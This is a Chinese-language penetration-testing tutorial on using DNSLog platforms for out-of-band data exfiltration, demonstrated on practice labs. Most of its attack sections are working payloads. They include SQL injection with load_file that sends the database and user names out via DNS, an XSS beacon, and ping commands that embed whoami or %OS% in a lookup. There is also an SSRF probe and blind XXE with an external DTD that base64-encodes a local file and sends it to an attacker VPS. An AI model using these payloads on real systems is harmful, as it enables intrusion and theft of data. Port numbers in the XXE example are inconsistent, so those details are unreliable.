一、什么是DNSLog
DNS的全稱是Domain Name System(網絡名稱系統),它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如www.baidu.com,網絡上的DNS Server會將該域名解析,並找到對應的真實IP如127.0.0.1,使用戶可以訪問這台服務器上相應的服務。
DNSlog就是存儲在DNS Server上的域名信息,它記錄着用戶對域名www.baidu.com等的訪問信息,類似日志文件。
二、DNSLog利用原理
將dnslog平台中的特有字段payload帶入目標發起dns請求,通過dns解析將請求后的關鍵信息組合成新的三級域名帶出,在ns服務器的dns日志中顯示出來。
DNSlog就是存儲在DNS服務器上的域名信息,它記錄着用戶對域名www.baidu.com等的訪問信息,類似於日志文件。
簡單來說,就是我有個已注冊的域名a.com,我在域名代理商那里將域名設置對應的ip 1.1.1.1 上,這樣當我向dns服務器發起a.com的解析請求時,DNSlog中會記錄下他給a.com解析,解析值為1.1.1.1,而我們這個解析的記錄的值就是我們要利用的地方。
四、DNSLog平台
推薦平台:
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
自己搭建DNSLog平台選擇:https://github.com/BugScanTeam/DNSLog
五、滲透測試之DNSLog使用
- SQL注入中的盲注
- XSS盲打
- 無回顯的命令執行
- 無回顯的SSRF
- 無回顯的XXE(Blind XXE)
5.1. SQL注入盲注
在sql注入時為布爾盲注、時間盲注,注入的效率低且線程高容易被waf攔截,又或者是目標站點沒有回顯
5.1.1. 利用條件
- load_file()
- 讀寫權限
- Windows(UNC路徑)
5.1.2. load_file與secure_file_priv設置
例子:
select load_file('/etc/passwd')
1、必須有權限讀取並且文件必須完全可讀
and (select count(*) from mysql.user)>0 /*如果結果返回正常,說明具有讀寫權限.*/ and (select count(*) from mysql.user)>0 /*返回錯誤,應該是管理員給數據庫賬戶降權了*/
自己搭建環境的時候可以去mysql數據庫連接的時候設置下(去my.ini檢查下有沒有這個參數,沒有就手寫一個),設置完重啟數據庫。
set global secure_file_priv='';
這里拿sqli-labs第五關盲注去做這個。
http://localhost/sqli-labs/Less-5/?id=-1' union select 1,2,load_file(concat('//',(select database()),'.6.ijowns.dnslog.cn/a'))--+
可以看到下圖,已經回顯到了DNSLog上面了(其實照我們這個權限寫個webshell都沒問題了)。
TIPS:
用戶名payload:and (select load_file(concat('//',(select hex(user())),'.6.ijowns.dnslog.cn/a'))) 注意:為什么要對查詢的內容進行hex編碼? 如果我們要查詢的用戶名中存在特殊字符:如!@#$%^& 最后在請求DNS服務器時變成:!@#$%^&*.upa46v.dnslog.cn 存在特殊字符的域名無法解析。因此在DNS日志中也找不到我們查詢的數據。 所以在我們查詢時,當不確定查詢結果是否存在特殊字符時,最好先將其hex編碼后在帶入查詢。
5.2. XSS盲打
通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平台上收到如下的鏈接訪問記錄:
payload:
<img src=http://dddxss.ijowns.dnslog.cn>
讓src請求我們的dnslog平台。這里舉個例子:
下面可以看到回顯的效果。
5.3. 無回顯的命令執行
5.3.1. Windows使用方法
變量 類型 描述 %USERNAME% 返回當前登錄的用戶的名稱。 %USERDOMAIN% 返回包含用戶帳戶的域的名稱。 %OS% 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。 %USERPROFILE% 返回當前用戶的配置文件的位置。 %ALLUSERSPROFILE% 返回“所有用戶”配置文件的位置。 %APPDATA% 返回默認情況下應用程序存儲數據的位置。 %CD% 返回當前目錄字符串。 %CMDCMDLINE% 返回用來啟動當前的 Cmd.exe 的准確命令行。 %CMDEXTVERSION% 返回當前的“命令處理程序擴展”的版本號。 %COMPUTERNAME% 返回計算機的名稱。 %COMSPEC% 返回命令行解釋器可執行程序的准確路徑。 %DATE% 返回當前日期。 %ERRORLEVEL% 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。 %HOMEDRIVE% 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 %HOMEPATH% 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 %HOMESHARE% 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。 %LOGONSERVER% 返回驗證當前登錄會話的域控制器的名稱。 %NUMBER_OF_PROCESSORS% 指定安裝在計算機上的處理器的數目。 %PATH% 指定可執行文件的搜索路徑。 %PATHEXT% 返回操作系統認為可執行的文件擴展名的列表。 %PROCESSOR_ARCHITECTURE% 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。 %PROCESSOR_IDENTFIER% 返回處理器說明。 %PROCESSOR_LEVEL% 返回計算機上安裝的處理器的型號。 %PROCESSOR_REVISION% 返回處理器的版本號。 %PROMPT% 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。 %RANDOM% 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。 %SYSTEMDRIVE% 返回 Windows server operating system 根目錄的位置。 %TEMP%和%TMP% 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。 %TIME% 返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。 %WINDIR% 返回操作系統目錄的位置
ping %OS%.ijowns.dnslog.cn
回顯效果:
5.3.2. Linux使用方法
ping -c 1 `whoami`.niddp9.dnslog.cn
回顯效果:
5.4. 無回顯SSRF
根據自己需要可以加一些字符到域名前面或目錄后面,通過dnslog判斷是否存在ssrf漏洞。
http://localhost/ssrf.php?url=http://zdutpn.dnslog.cn
回顯效果:
5.5. 無回顯的XXE(Blind XXE)
pikachu靶場的xxe漏洞,把回顯注釋了。
測試payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "http://qfi2jk.dnslog.cn">
]>
<x>&f;</x>
回顯效果:
5.5.1. XXE漏洞盲打之文件讀取
有輸出的時候:
payload:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///e:/java/test.txt"> ]> <x>&f;</x>
無回顯:
接下來通過DNSLog進行外帶數據。
VPS(IP: 192.168.110.141):
test.dtd內容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/java/test.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps的ip:7896/%file;'>">
這段代碼的意思是:實體int為http://vps的ip:7896/
,實體file為file:///e:/java/test.txt
(經過base64編碼),
總體的意思就是訪問vps的6666端口並攜帶本機的e:/java/test.txt的文件。
test.dtd內容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/java/test.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.110.141:7896/%file;'>">
在這個test.dtd目錄下開啟web服務
python -m SimpleHTTPServer 6796
訪問下web看看
再連接個shell,開啟一個7896端口的web服務,一會看看提交過來的數據。
構建Payload進行提交:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % f SYSTEM "http://192.168.110.141:6796/test.dtd">%f;%int;%send; ]>